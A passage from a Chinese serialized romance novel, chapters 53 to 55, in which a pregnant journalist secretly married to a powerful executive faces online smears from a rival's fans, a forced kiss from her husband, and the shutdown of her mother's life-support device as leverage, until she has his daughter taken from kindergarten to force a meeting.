以宋今若的性格,她要是知道我怀了顾时序的孩子,估计能立刻飞回来。
晚上我洗完澡坐在床上,轻轻抚着自己的小腹,喃喃自语:“宝宝,是不是你又回到妈妈的肚子里了?这次,妈妈一定保护好你。”
第53章 他说,只对我感兴趣
当我说完这句话的时候,其实我已经有了答案。
我不会亲手杀死自己的孩子。
既然老天让他回到了我身边,我会竭尽所能保护他。
现在,就安心等到八周的时候去做B超。
如果宝宝发育正常,那就把他当做是老天赐给我的礼物。
……
翌日,我到达公司时,竟发现孟云初也出现在了公司。
我跟她进了办公室,小声道:“你不要命了!前天才做完手术,今天就敢来上班?”
孟云初怅然若失地说:“我现在除了工作,什么都没有了。再说了,苏启明这件事关系到顾氏,这个新闻是个难啃的骨头。我不回来的话,怕你一个人啃不下来。”
“可是你身体……”
我叹了口气,道:“其实你没必要这么拼的。”
孟云初眼眶泛红,哽咽道:“昨天你被苏家人刁难,我都看见了。对不起,我……我之前不该那么对你……”
“都过去了。”
我拍了拍她的肩,说:“既然你回来了,那就好好守住你的江山。虽然你看男人的眼光不准,但你捕捉新闻的眼光,还是在线的。”
孟云初破涕为笑,道:“这句话,也同样送给你!”
就在这时,孟云初办公桌上的电话响了。
接通之后,她表情越来越凝重,最后,闷闷地答应了一声:“好的,我知道了。”
她挂了电话,我疑惑地问:“出什么事了吗?”
孟云初无奈地说:“你老公跟我们公司的几个投资商打了招呼,现在投资商集体撤资。高层说,如果我们新闻部没有办法在三天内搞定五千万的投资,就让我们立刻停止追踪关于苏启明的新闻。”
我恨恨道:“又是这一套!”
孟云初摇了摇头,十分落寞地说:“资本的力量太强大了,这也是我做梦都想跨越阶层的原因。”
虽然公司高层一直在施压。
但我和孟云初都不想放弃。
我考虑了很久,决定道:“做下去吧!这个新闻我们深挖到底,至于投资,我来想办法!”
“你?”
孟云初不敢相信地说:“你老公都已经出手了,你真的有办法吗?”
我点点头,“嗯,我尽量在三天之内搞定投资。”
就这样,孟云初表面上答应了公司会停止对苏启明和顾氏设备新闻的追踪,但暗地里仍然在派人挖料。
我则去找了顾亦寒,跟他约在晚上七点见面。
当时,顾亦寒正在会所风花雪月,但他说是刚在谈生意,所以才叫了几个女孩子坐陪。
“昭昭,你可别误会。我跟她们就是逢场作戏,我对你才是真心的!”
说完,他挥挥手,遣散了那几个女孩。
我白了他一眼,道:“少来!肉麻**!”
顾亦寒那双桃花眼含着愉悦的笑意,“你这辈子头一次主动找我,不会是来跟我谈情说爱的吧?”
我正经神色,跟他说了关于给我们公司投资的事情。
顾亦寒听到是工作的事,有点失望。
他摇了摇头,道:“说实话,我对传媒行业了解的并不多,至于你们新闻部,我也不感兴趣。我只对你感兴趣……”
我满脸黑线,对他道:“我还不至于为了给公司拉投资,把我自己以身相许给你。你不愿意就算了,我再想办法。反正,还有宋今若,还有叶家,我一个一个跑呗!”
说完,我站起身准备离开了。
顾亦寒连忙追上我,道:“你这人,怎么说走就走?要是投资的话,我也算甲方吧?你对甲方爸爸就这个态度?”
我眼前一亮,趁机道:“那你这意思,就是同意了?”
顾亦寒笑了笑,道:“虽然我对你们这个行业确实没兴趣,但是呢,跟顾时序对着干,我倒是挺有兴趣的!”
虽然,这人目的不纯,但至少他愿意投资,对我们来说就是最有利的结果。
我还是挺感动的,这种草木皆兵的时候,还有这么个人帮我。
跟顾亦寒说完了投资的细节,他决定明天上午去一趟我们公司。
到时候,我让孟云初亲自跟他对接。
“好了,投资的事说完了,可以去吃个饭吧?”
顾亦寒眨巴着眼睛等我同意。
人家愿意投资五千万帮我渡过难关,吃个饭的要求,我还是可以答应的。
我点头道:“走吧!我请你吃。”
顾亦寒笑得可不值钱了,颠儿颠儿地跟上了我。
然而,我们刚走到电梯口,顾时序和一位知名导演恰好也在等电梯。
顾时序一眼就看见了我和顾亦寒有说有笑的,他冷峻的脸色沉了下来,凌厉的眸光投射在我们身上。
我像是不认识他般继续跟顾亦寒说话。
电梯门开了,我和顾亦寒走了进去,他和那名导演也进来了。
他们的对话悉数传入我们耳里。
“顾总,现在苏小姐的哥哥**太多,连带着苏小姐也**缠身。我们……实在是不敢用她啊!”
顾时序道:“这部戏如果赔了算我的,但是雅欣必须是女一号。”
导演感叹着:“顾总,苏小姐有您保驾护航,真是她的幸运!不知顾总和苏小姐是否好事将近了?以后苏小姐做了顾太太,估计她出来拍戏,您都会心疼了。”
我的心仿佛被什么割了一下。
挺讽刺的。
顾时序联合其他投资商断我们公司的投资,但是为了让苏雅欣做女一号,亲自约导演面谈,心甘情愿砸重金。
有人兜底的感觉,真是好啊!
这时,一旁的顾亦寒低头在我耳边,用只有我们俩能听到的声音道:“别瞎羡慕。苏雅欣有顾时序兜底,你有我啊!不就是投资吗?”
我被他弄得哭笑不得,脸上的乌云也终于散开。
而顾时序阴郁的目光紧锁在我身上,令我如芒刺背。
电梯终于到达一楼。
门一开,我第一个走了出去,顾亦寒紧随其后。
他不甘心地道:“要我说,刚才你就该搂着我,亲我,使劲腻歪,气死他!”
“顾亦寒。”
我停住脚步,很认真地望着他,道:“我不想利用你。”
如果我像他说的那么做,那我自己都会鄙视自己。
顾亦寒脸上的表情渐渐收敛,似乎听懂了,可他也严肃地说:“我愿意被你利用。”
我赶忙低下头,生怕再多看他一眼,都会让他误会我在回应他。
……
翌日,顾亦寒来到我们公司,在我的引荐下,跟孟云初完成了对接和合同的签字。
顾亦寒走后,孟云初感慨道:“天呐,跟做梦似的。仅仅一天,你就拉到了五千万的投资?”
“这下,可以继续把我们想做的事做下去了。”
我如释重负地松了口气。
顾时序想击倒我,那我偏偏要站起来给他看!
孟云初拿出了当年期末考试的劲头,道:“这个新闻我们一定要好好做,争取每一期都冲爆款。到时候,也让甲方爸爸觉得投资我们,是值得的。”
“嗯。”
我跟孟云初想的一样,虽然顾亦寒不缺钱,但是,谁的钱也不是大风刮来的。
如果这次能通过我们的新闻,带着顾亦寒赚一把,也算没白让他帮这个忙。
就在这时,孟云初办公室的门被敲响。
同事甚至等不到孟云初说‘进来’,便已经推门而入。
“总监,出事了!楼下**了大批苏雅欣的粉丝,说要找叶昭昭。我看,来者不善!”
而这时,孟云初桌上的电脑也陆续发出网页新资讯的提示音。
她一看,表情瞬间凝重起来。
孟云初一边往上刷着网页,一边恨恨地说:“真是够了!这群**,颠倒黑白!”
我预感到不好,赶紧凑了过去。
没想到,我进出顾氏庄园的照片,以及昨天我被顾时序塞进车里的照片,全都被人发到了网上。
我的样貌拍得清清楚楚,顾时序也同样。
配文是非常醒目的大字:“苏雅欣和顾氏总裁感情危机!疑似小三介入!”
很快,评论区大批水军开始引导**:
“这个小三就是写雅欣哥哥
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新闻的记者!怪不得苏启明那么伟大的科研专家,突然就被抹黑了!”
“这个不要脸的小三,抢雅欣的未婚夫不说,居然还公报私仇,污蔑人家的哥哥。太恶心了!太无耻了!”
“雅欣哥哥很可能是清白的。都怪我们雅欣太善良,全家都被小三欺负!”
“……”
我不停地深呼吸着,压抑着心中快要喷涌而出的愤怒。
我不能生气,不能激动,肚子里还有宝宝。
孟云初道:“这明摆着是苏家人对你的报复!苏雅欣狗急跳墙了!”
“我知道。”
我低低地应了声,脑子飞速旋转,该如何破局?
孟云初道:“昭昭,你把结婚证发出来吧!既然这女人不给你留活路,你也不要给她脸了!要是不用结婚证打她的脸,她还真把自己当顾太太了!”
我当然明白,结婚证是最有力的证据。
只要我晒出结婚证,顾时序和苏雅欣立刻就会被钉死在道德和**的耻辱柱上。
可同时,也意味着跟顾时序彻底撕破脸。
撕破脸的后果就是,他会停掉我母亲的心肺支持仪,拉我妈一起给他和小三的名誉陪葬!
孟云初有些着急,追问道:“你怎么不说话啊?晒结婚证是最简单有效的回击,不是吗?”
我将自己的难处告诉了孟云初。
她忽然同情地望着我,道:“原来,你也这样不容易……我一直以为,你是名媛千金,除了婚姻不怎么如意,还能有什么烦恼呢?”
我走到窗前,看到楼下聚满了苏雅欣的粉丝集体叫嚣,让我们公司把我交出来!
我的照片甚至被贴在了大字报上,上面写着‘叶昭昭小三!**!’这样的字。
孟云初走到我身边,看见楼下这个架势,道:"她们堵在这儿,就是要等你下去。苏雅欣是一点活路都不想给你留,这太符合她做事的风格了。以前,她为了不让我进家门,也做过各种极端的事。"
这时,几个粉丝拿出了喇叭,冲着我们办公室的方向喊:“今天你们要是不把叶昭昭这个小三交出来,我们就一直守在这儿,每天都来!什么破公司,竟然用小三!”
我拿出手机,报了警。
之前苏雅欣这些粉丝的疯狂和脑残,我已经见识过了,所以最好的办法就是让警察保护我离开。
“我们平时跑新闻用的高清摄像机呢?”
我突然的问题,让孟云初有些诧异。
她一边去帮我找,一边问:“你要这个干嘛?”
“把他们污蔑诽谤我的证据拍下来!这些粉丝既然是苏雅欣安排或者授意的。如果到时候她们被起诉,说不定能咬出苏雅欣这个幕后指使。”
孟云初找出了摄像机递给我,我接过之后,对准楼下苏雅欣的粉丝们,尤其是领头的那个。
我报警的理由是苏雅欣的粉丝骚扰和诽谤,并且可能对我进行暴力攻击。
在等警察来的过程中,我还给秦律师打了电话,要起诉这些诽谤我的人。
有一个算一个!
秦欢也看到了网上那些传言,安慰我:“叶小姐,清者自清,一定要稳住心态。要是不接了你这个案子,我真是看不出苏雅欣这个清纯小花居然这么下作。”
“秦律师,那就拜托你了。还有网上那几个转发量大的账号,我也要一并起诉。”
我跟秦律师通完电话,警察就到了。
那些粉丝显然没料到我会报警,还没来得及收拾那些写着侮辱性言语的大字报。
有些胆子小的直接就跑了,留下的几个领头的,被塞上了警车。
而我作为报警人,也跟着一起去了警局做笔录。
临走时,孟云初对我道:“你这几天先别来公司了。”
像是怕我误会她把我开除,她连忙又加了一句:“工作在家做,我通过邮件发给你。可别偷懒!”
我点点头,道:“她搞出来这么多事,妄图让我丢工作,放弃对她哥哥的爆料,顺便还能让我变成过街老鼠。那我就偏不让她如愿!她哥哥的新闻,我负责到底!”
第54章 顾时序发疯般吻我
从警局做完笔录出来,天都快黑了。
我不敢在路上多做停留,生怕遇到苏雅欣的脑残粉,所以赶紧打了辆车。
然而,那出租车司机一眼就认出了我。
“你就是那个抢人家老公的小三?”
他呸了一声,恶狠狠地说:“下去下去!别脏了我的车。”
我拍下了他的营业执照,下了车。
随即,我便给出租车公司打电话,投诉了这个司机。
索性警局距离我住的地方不远。
而且天黑了,没人注意到我。
我一路上都刻意的避开人群走。
这时,我电话响了,是孟云初打来的。
“昭昭,对不起……”
她语气里充满了愧疚,哽咽道:“你明明是为了我,却被他们这样写!这绝对是有预谋的,从很早开始,就有人跟踪你了。”
我一头雾水,孟云初道:“你没看见最新的热搜吗?”
“我刚从警局出来,还没来得及看手机。”
我说完,赶紧打开了微博。
原来,我告了苏雅欣的粉丝的事传了出去,不仅如此,评论区一水儿的人说我贼喊捉贼。
作为反击,爆料者又爆了更猛的料。
照片里是我进出医院妇产科的照片,还有我签字的一份流产手术的知情同意书。
字的确是我的字,但这份同意书是当时我把孟云初紧急送到医院之后,她没办法签字,我替她签的。
爆料者只放出了知情同意书,但是没有放出按有孟云初手印的‘授权委托书’。
所以不明情况的人看来,就好像我去做了流产手术。
评论区里各种谩骂的字眼在我眼前漫延开来:
“太不要脸了!抢雅欣的男人,还怀了顾总的孩子偷偷去做流产。这种人居然还贼喊捉贼,告人家雅欣的粉丝!”
“是啊,雅欣太善良了,从头至尾都没有出声攻击她。真是太让人心疼了!不知道雅欣承受了多大的压力呢!”
“听说叶昭昭是孤儿,家人都死光了,这就是她做小三的报应!”
“……”
虽然我也知道‘清者自清’,可这些言语,真的比刀还要伤人。
路上,叶夫人也给我打了电话。
她在电话里一个劲儿地哭,“昭昭,网上那些人都在胡言乱语些什么?真是气死我了!我给时序打了好多电话,他都不接。他这是真不准备跟你过下去了吗?”
“妈,您不要看网上那些东西。”
我愧疚地说:“对不起,我都这么大了,还让你们为**心。”
叶夫人叹了口气,道:“妈就是心疼你。不然,你回家住吧,妈实在不太放心让你一个人在外面。”
如果是以前,我或许会回去的。
可是,想到我哥跟苏雅欣的关系也不清不楚,我便不太想回叶家了。
我又安慰了一会儿叶夫人,一再跟她保证自己如果真的撑不住了,肯定会回家。
后来,叶爸爸也接过电话,沉重地说:“昭昭,我知道这件事你受了太大的委屈。可是,你千万不能冲动,直接就把你和时序结婚的事公开出去了。如果公之于众,一定要经过他的同意,千万别擅作主张。这些年,时序对我们叶家不薄……”
我心中泛起淡淡的苦涩,**嘴软,拿人手短的道理我明白。
跟顾时序撕破脸,叶家首当其冲就要倒霉。
“嗯,我明白的,爸。”
跟父母通完电话,我也走到了小区。
然而,当我从电梯里出来,竟发现顾时序就站在我家门口。
我顿住脚步,望着男人略显疲惫的脸。
想必,今天这一天,他也没比我好过多少。
毕竟,我被骂作小三,他也被冠上了出轨的帽子。
不仅如此,今天顾氏的股价大跌。
“开门。”
他下颌绷得像是淬了冰的铁。
我以为她是来跟我商量这件事的解决方案,毕竟,他也是当事人之一。
所以,我摁下指纹锁,让他进了门。
没想到,我刚开了灯,他就忽然揽住我的腰,将我扯进了怀里。
微凉的唇毫无预兆的咬上我的唇瓣,薄荷混着威士忌的气息强势的侵入我口腔。
“唔……”
我震惊的瞪大双眼。
顾时序是疯了么?
自从他三年前开始信佛,对我就一直冷淡,哪怕是夫妻生活,都是我主动。
可现在,他在做什么?
“放开我!”
我反抗的话都被他带着惩罚性的吻挤碎在唇齿间。
高跟鞋徒劳的踢在他小腿,却被他用膝盖顶住。
直到我狠狠咬了下去,他才终于放开我。
下一秒,我一耳光扇在了过去。
顾时序偏过脸,刚才被我咬破的嘴唇溢出了血,他也没擦。
他清冷的脸上像是凝了厚厚的霜,眼底迸出的火星子让他失去了往日的冷漠和冷静。
我咬牙道:“顾时序,你要是想发情,去找苏雅欣!我不是你泄欲的工具,滚!”
男人依旧将我困在他和门板之间,摁着我的肩,道:“如果不是这个新闻曝光,我竟不知道,我太太在我眼皮子底下做了流产手术!孩子是谁的?顾亦寒的吗?”
原来,这才是他今天忽然发疯的原因。
我扬起手只想把他这张脸给打烂!
可这次,我没触到他的脸,便被他扼住了手腕。
“叶昭昭,如果是我让你太寂寞,你忍不住,那我今天就成全你!好好填补你的空虚!”
话音落,他将我双手背在身后,另一手扯开了我的领口。
他伸进我衣衫的手掌烫得惊人。
可是,我怎么能再让他碰我?
且不说我肚子里有宝宝,不能做这种事。
更重要的是,这么脏的男人,**用这双手碰了苏雅欣多少次!
“顾时序,我求你放开我,我不要!”
在我示弱之后,他好像更生气了。
顾时序修长的手指擒着我下颌,往日里沉静的眸子翻涌着暗色的风暴,“叶昭昭,你不是很硬气么?为了我不让我碰你,你居然求我?”
我嗓音里带着哭腔,拼命地点头:“对,我求你。顾时序,你别碰我!”
顾时序好像反应过来了什么,不可思议地盯着我看。
是啊,他当然不愿相信,一个月前还死皮赖脸撩拨他,想跟他上床的女人,如今却这样卑微地求他不要碰。
就在这时,门后的门铃响了。
从可视监控里,顾时序看见了顾亦寒正站在门口。
他道:“怪不得费尽心思地搬出来。原来,是跟他同居了。”
我不想解释,更不想辩解,因为顾时序不配!
他漆黑的眸光仿佛碎裂的冰层,道:“我不需要一个连贞洁都守不住的太太。过几天,我让律师把离婚协议给你。”
这一刻,我如释重负地弯了弯唇角,道:“跟你一样,我也不需要一个脏了的丈夫。我这几天都在家,离婚协议拟好了可以随时送来。”
顾时序深深地看了我良久,突然打开门。
顾亦寒仍站在门口。
见顾时序在这儿,他惊讶地看着我们。
毕竟,我现在的模样,稍微有点狼狈。
明眼人一看就知道刚才我们发生了什么,更何况是顾亦寒这种久经情场的人。
“顾时序,你对她做了什么?”
顾亦寒上去就揪住了顾时序的衣领。
可他忘了顾时序之前当过兵,身手极好。
他还拳头还未碰到顾时序,便被顾时序反手扼住,将他甩到了一边。
“顾亦寒,一个月之内,我会让你滚出海城。”
顾时序撂下一句话,扬长而去。
我赶紧将顾亦寒从地上扶了起来。
顾亦寒似乎并没有把顾时序的话放在心上,反而问我:“你没事吧?”
“他同意离婚了。”
我努力挤出一抹微笑,可不知为什么温热的眼泪就跟失了控似的从眼底涌了出来。
别看顾亦寒平日里嬉皮笑脸的,见我哭,他给我递了纸巾,安慰道:“难过也正常。毕竟,你爱了他这么多年。他应该,也曾爱过你。”
“谢谢。”
我平复了一会儿情绪,问:“这么晚,你怎么来了?”
顾亦寒凝重地望着我,道:“今天发生了这么多事,想来看看你怎么样了?”
我低低
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地说:“我还好。”
顾亦寒恨恨地说:“苏雅欣这女人真是太可怕了!连流产手术这种屁话都能编出来!”
淡淡的悲凉在我心底蔓延。
就连这么多年不见的顾亦寒都知道这是脏水,可是顾时序,却不信我。顾亦寒还在刷着微博上的信息,对我道:“我给你买了水军,先看看能不能把评论逆转过来吧。不过,现在最好的方式就是晒出结婚证。”
我嗓音沙哑,无力地说:“我妈和叶家的情况,你应该知道。”
“嗯,我知道。”
顾亦寒叹了口气,道:“顾时序这么心狠手辣的,到时候说不定真能弄死叶家和你妈。”
我想到刚才顾时序临走时的那句话,叮嘱顾亦寒:“以后,我们还是保持点距离。你自己也要当心点,我怕顾时序到时候给你使什么阴招儿。”
“前半句话我不同意。后半句的话就当你是担心我,心里有我。”
顾亦寒笑了笑,径直往我们家厨房走去。
我连忙起身跟了过去,问:“你干什么去?”
“给你做点饭。”
顾亦寒已经开始翻冰箱了,他道:“我猜,你今天应该还没有好好吃顿饭。”
我今天的确很累很累,累到连做饭的力气都没有了。
所以,我由着顾亦寒帮我做了饭,他也留在这儿跟我一起吃了些。
后来是薛晓琴亲自到我家,把顾亦寒领走了。
虽然她也跟我寒暄了几句,让我别受外界言论的影响,可她的主要目的,还是把儿子带回去。
毕竟,任何母亲也不想儿子跟一个有夫之妇混在一起。
况且,我还算顾亦寒的嫂子。
……
虽然我暂时不去公司上班,在家避风头。
但一早起来,我就开始继续搞我的新闻。
我上网将苏启明的所有论文都翻了出来,然后一点点比对论文的真实性。
果然,经过了整整一天,我发现了论文里的许多漏洞。
我将所有的漏洞都标注了出来,整理成文件发给了孟云初。
就这样,继“苏启明水学历”的新闻之后,关于苏启明的第二篇新闻,“苏启明学术**”就诞生了。
孟云初审核好了我的新闻,连夜将稿子发了出去。
发之前她问我需不需要把署名改成她?
她怕如果再用我的署名发这篇新闻,会引来苏雅欣粉丝更疯狂的报复。
我道:“不需要,就用我的名字。既然我们是对的,那我就不怕。我倒要看看,苏启明这次怎么解释?”
这篇新闻依旧用了我的名字,夜里浏览量不多,因为时差关系,有几个国外的学术大咖看见了这篇新闻。
他们竟然实名在我新闻底下证实了苏启明的几篇论文的数据和实验图像确实有问题。
要知道,这几篇论文都是发表在国内外一些高端杂志上的,已经被引用了成千上万次。
如果被引用的原始论文数据出现了问题,造成的影响绝对是灾难性的。
一夜之后,我刚睁开眼睛,孟云初的电话就打了过来。
她语气激动,道:“昭昭,你看见了吗?海城大**合海城纪委成立了调查组,苏启明已经被学校停职了!”
“叶昭昭,你做到了!我们做到了!”
孟云初的声音格外鼓舞人心,她道:“现在这篇新闻已经把昨天泼你脏水的那篇热搜顶下去了。”
我打开微博,看到我昨天写的那篇新闻现在不仅登顶热搜,甚至,新闻下面评论区许多学术大咖都出来验证。
最终这些很有权威性的专家得出结论:苏启明的确涉嫌学术**。
这也直接验证了我这篇新闻的真实性。
而泼我脏水的帖子依然不停有网友在发评论:
“真是气**!这个小三咬住我们雅欣哥哥不放了!”
“叶昭昭不会有好结果的!可惜她家人都死绝了,她要是有父母,那她父母今晚就死!抢人家男人,还这么理直气壮,想把人家一家都拖下水!”
“就是!自己都被扒出做小三、打胎,居然还敢继续伤害雅欣和雅欣的家人。真当我们欣欣的粉丝都是吃素的吗!”
第55章 这脸,打的啪啪响!
我忽然觉得这些话,似乎已经伤害不到我了。
翻来覆去,就是这些言语,看都看腻了。
我压根就懒得再继续翻下去。
就在这时,手机响了,我看到屏幕是我妈住院的医院打来的。
我心里一咯噔,赶紧接了电话。
那边传来医生凝重的声音,道:“叶小姐,顾氏那边今早来了两个负责人,说你母亲应用的设备可能存在问题,必须要重新检查维护。所以现在,设备已经停用了。”
“什么?”
我的心一瞬间跌进了谷底。
我母亲用了那个设备这么久了,从没有出现过任何问题。
这明摆着就是有人用这个借口想逼我就范!
医生道:“您母亲停用设备之后,情况不太好。请您现在立刻来医院签一下病危通知书。”
我没有耽误时间,拿起车钥匙便出了门。
……
医院里。
我妈妈的身上多了很多管子,各种仪器声音此起彼伏,都像是催命的信号。
医生跟我解释道:“今天你母亲刚撤下设备,就出现了呼吸急促、心率不齐的情况。再这么下去,怕是……”
他虽然没说完,但我已经知道后果了。
顾时序,他真的太狠了!
我签了病危通知书,立刻给顾时序打电话。
可惜,他根本就不接。
无奈之下,我只好去顾氏找他,得到的回复是顾时序今天没来公司。
问了刘妈顾时序在不在家,刘妈说顾时序昨晚没回来。
我想,十有**他是留宿在姜淑慧那儿了。
毕竟,朵朵和苏雅欣都在姜淑慧那里。
医生提醒我,我母亲现在的状况刻不容缓,必须尽快重新上仪器。
否则,随时都会有生命危险。
纵使我再不想跟姜淑慧见面,我还是驱车去了那儿。
……
可惜,姜淑慧的管家不让我进门。
我站在庭院门口大喊:“顾时序,你出来!我知道你在里面!”
管家见状,对我道:“叶小姐,顾先生真的不在。您如果再喊下去,我们只好报警了。”
“好啊,不在是吧。”
我点点头,做好了鱼死网破的准备,“那你回去告诉他们一声,既然他们不让我妈活,那我们就一起死!我给他们十分钟的时间,十分钟之后,不出来见我,我和顾时序的结婚证就会被发到网上。”
管家一听,变了脸色,连忙往别墅里走去。
没过几分钟,姜淑慧就出来了,她身边,还有苏雅欣的母亲。
我冷冷看着她们,问:“顾时序呢?”
姜淑慧皮笑肉不笑地说:“时序带着雅欣拍订婚照去了!”
我指甲深深陷进掌心。
真是锥心的痛啊!
他给我妈妈判了**,却等不及带着情人去拍照,庆祝胜利的果实。
苏母此时也开口了,“叶大记者最近很风光啊,连续写了两个爆款新闻,怎么还有空来我们这儿?”
我道:“我母亲的设备是谁让停掉的?”
苏母冷哼了声,道:“那个设备的设计师是我们启明。既然叶小姐把他写得这般不堪,那你何必还用这个设备呢?”
姜淑慧轻笑了声,“叶昭昭,我要是你啊,我就赶紧去陪我那个快**的妈。见一面少一面啊!”
“你们确定要这么做?”
我死死盯着她们,道:“如果今天中午之前,你们不把我妈的设备重新上好,我就曝光我和顾时序结婚的事。到了那个时候,我相信吃瓜网友会喜欢这种反转的。”
苏母肉眼可见的慌了。
而姜淑慧目光狠厉,道:“你敢!你要是敢曝光,那死的人可就不是你母亲了。想想叶家,养了你这么多年,却因为你,最后破产、流落街头。你忍心吗?”
我的心狠狠一颤,紧咬着唇,恨不得跟她们同归于尽!
这时,苏母似笑非笑地说:“其实……这件事也不是没有办法解决!你婆婆在顾氏也有股份,只要她一句话,你母亲的设备就能重新用上。不过,我们需要你做一件事。”
我知道肯定不会那么简单,但我还是问道:“什么事?”
苏母眼中露出一抹阴测,道:“只要你发一个道歉视频,承认你自己是小三,插足了雅欣和时序的感情。并且承认你写我们启明的新闻,都是污蔑。你母亲的设备就能恢复使用。怎么样?”
我看着苏母那副嘴脸,冷笑道:“我终于知道苏雅欣为什么会变成一个贪婪无耻的人了。搞了半天,是因为她有你这样的母亲。你可真会教!”
苏母当即怒了,愤声道:“叶昭昭,你别给脸不要脸!我告诉你,时序跟我们雅欣是真爱,要不是你死皮赖脸地缠着时序不肯离婚,我们雅欣早就是顾太太了!”
姜淑慧赞同地点点头,道:“让你发道歉视频,也是时序的意思。你母亲的时间不多了!她的生死,可全都掌握在你手里呢!”
我咬牙吐出四个字:“你们休想!”
道歉视频,我是不可能发的!
顾时序自己出轨,却要我承认自己是小三,他们欺人太甚!
我刚回到车里,宋今若的电话就打了进来。
“昭昭,你在哪儿,我回国了!”
后来我才知道,她在国外看见了我最近关于我的**,抛下裴医生,自己先回来了。
我们约在我家见面。
路上,我已经想好了对策。
那就是让宋今若把朵朵从幼儿园带出来。
毕竟,宋今若是圣辉幼儿园的负责人,只有她有这个能力把朵朵带出来。
只要朵朵在我这儿,就不怕顾时序不出现。
“今若,这样很冒险,或许会连累你。”
我愧疚地看着她,道:“如果你不答应也没关系。”
宋今若得知我在姜淑慧那儿被威胁,恨恨地说:“我不怕他们!这是唯一的办法了!我不能看着我朋友受这么大委屈,被小三了,还要承认自己是小三。天底下没有这种事!”
她说完,便出了门。
一小时之后,她就把朵朵带到了我家。
朵朵之所以没哭闹,是因为宋今若连哄带骗,又给她买了一堆她想吃的、想玩儿的。
到家的时候,宋今若两只手提的袋子满满的。
“今若阿姨,这个女佣阿姨怎么也在?她好坏的,总是欺负我妈妈,我不要跟她在一起!”
朵朵看到我,眉头就皱了起来,对宋今若道:“你送我回奶奶那儿吧!”
我看着这小丫头,实在是头疼,怎么都放不下身段去哄我丈夫和情人的女儿。
宋今若赶忙拦住她,耐着性子道:“朵朵,你在家里可以吃冰激淋吗?在阿姨这里,你想吃多少都可以!而且,你爸爸晚上就来接你了!”
朵朵撅着嘴想了一下,最终,还是屈服于冰激淋的诱惑。
就这样,她坐在沙发上,晃着小腿儿,一边看动画片,一边吃冰激淋。
我们和她也算是相安无事。
只是,这冰激淋吃起来就没个完。
我小声对宋今若道:“这才两个小时,都吃了四个了。再这么下去,肚子能受得了住吗?”
“你管她呢?”宋今若不以为意地说:“这小崽子跟她妈一样坏,你没看她刚才怎么对你的?让她吃!窜几趟稀,她就知道厉害了!”
不知道是不是因为我现在肚子里也有了小生命,总是对孩子有一种天生的爱怜。
我在朵朵准备去冰箱里拿第五个冰激淋的时候,走到了她面前,道:“我们吃点别的好吗?巧克力?或者……薯片?”
朵朵对我仿佛有天生的敌意,大声道:“你让开!你只是女佣而已,你管我吃什么?”
宋今若直接去冰箱里给她拿来冰激淋,道:“吃吧!把冰箱里的都吃完了,阿姨再去给你买!”
随即,她把我拉过来,低声道:“我就让你别管她吧!顾时序和苏雅欣他们不干人事儿,我们干嘛要心疼他们的孩子?”
我叹了口气,道:“她只是被她妈妈教坏了。她那么小,懂什么呢?”
我没听宋今若的,在朵朵吃完第五个冰激淋之后,我无论如何,都不同意她继续吃了。
小丫头哭闹起来,冲我大叫:“你这个坏女人,你欺负我!我要告诉我爸爸!我要回家!”
就在这时,我电话响了,是姜淑慧打来的。
我看着时间,应该是她去接孩子,但是发现孩子被我带走了。
我接了电话,那边传来姜淑慧愤怒的声音:“叶昭昭,你把朵朵弄到哪里去了?我告诉你,你要是敢动她一根汗**,时序绝绕不了你!”
“现在就恢复我妈妈的设备。”
我语气强硬,不容商量。
姜淑慧冷哼道:“不可能!只有你发了道歉视频,承认你是介入时序和雅欣感情的小三,你母亲才能活!”
我冷冷道:“既然我妈不能活,那就让你们家的小千金陪葬,也不错。”
虽然我说的是气话,我也不可能这么做。
但现在,朵朵正在哭闹,电话那边的姜淑慧自然也听见了哭声。
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>“叶昭昭,你这个**,究竟把我孙女儿怎么了?”
她气得抓狂,而我,挂了电话。
没过多久,我就接到了顾时序的电话。
“朵朵在你那儿?”
他声音听起来平静,但不难听出这平静语气下的克制和紧张。
这种语气,很像是警察安抚**的感觉。
“叶昭昭,我现在就过去,你千万别轻举妄动。不要伤害朵朵,否则,后果你承担不起。”
他这警告,让我自嘲地笑了出来。
如果是宋今若,哪怕是顾亦寒,他们都不会认为,我叶昭昭会伤害一个小孩子。
但顾时序,却觉得我会这么做。
在他心里,从没有一刻,是了解我、相信我的。
这么多年的感情啊!
终究是喂了狗。
连点渣都没剩下。
而宋今若此时,也接到了父亲的电话。
应该是顾时序已经联系了宋今若她爸。
不知道那边说了什么,宋今若面色格外凝重。
“昭昭,我得回去一趟,顾时序向教育局投诉了我们幼儿园。等我处理完,就回来!”
她走得格外匆忙。
我无比愧疚。
终究,还是连累了这些对我好的人。
……
很快,顾时序就赶过来了,同时过来的人,还有苏雅欣和苏母。
他们一进门,朵朵就朝他们扑了过去。
“哎呀,我的小祖宗!”
苏母赶忙抱起朵朵,道:“怎么哭了?是不是有人打你骂你了?”
苏雅欣道:“时序哥,你看朵朵的眼睛都肿起来了!”
说完,她一副委屈的样子,对我道:“叶小姐,这一切都是因我而起,你打我骂我无所谓。你怎么能对一个孩子动手?”
顾时序一把扣住我的手腕,清冷的嗓音此刻锋利的如同刀片,“你对朵朵做了什么?”
我平静地看着他,道:“你自己问她。”
苏雅欣和她母亲两人已经迫不及待的问了。
朵朵哭啼啼的说:“这个坏阿姨不让我吃冰激淋!”
顾时序微微错愕,问女儿:“就只是这样吗?”
苏雅欣附和道:“朵朵,你受了什么委屈就说,没关系的,爸爸妈妈都在这儿!”
朵朵想了半天,道:“她就是不给我吃冰激淋!最大的委屈就是她不给我吃冰激淋!”
苏雅欣和苏母的表情立刻僵住了。
很显然,这并不是她们想要的回答。
而顾时序微微松了口气。
得知冤枉我了,他望向我的时候,眸光终于染上一抹柔软和歉意。
苏母生怕顾时序对我心软,连忙提醒道:“那我就不懂了。叶小姐既然什么都没对我们朵朵做,为什么要私自把朵朵带过来呢?我听亲家说,电话里,叶小姐还威胁要我们朵朵陪葬呢!”
顾时序眼神再次冷下来,看着我。
我迎上他的目光,道:“顾时序,你把我妈的设备停掉,就是让她**!你明知道,她是我在这个世界上,唯一有血缘关系的亲人了!我给你打了无数个电话,你一个都不接!如果我不带走你女儿,你现在会出现在我面前吗?”
顾时序微微一顿,立刻拿出手机给孙杰打电话。
孙杰那边也不知道这件事。
几分钟后,孙杰给他回立刻电话,说是姜淑慧吩咐人这么做的。
“立刻恢复设备。”
他只吩咐了这几个字,就挂了电话。
苏雅欣和苏母脸上挂着一抹不甘心。
我有些意外,问顾时序:“你不知道这件事?”
顾时序道:“我今天一直在公司开会,你做的好事让顾氏股价大跌,我得善后。”
这时,我目光落在苏雅欣母亲身上。
苏母的脸色明显心虚了。
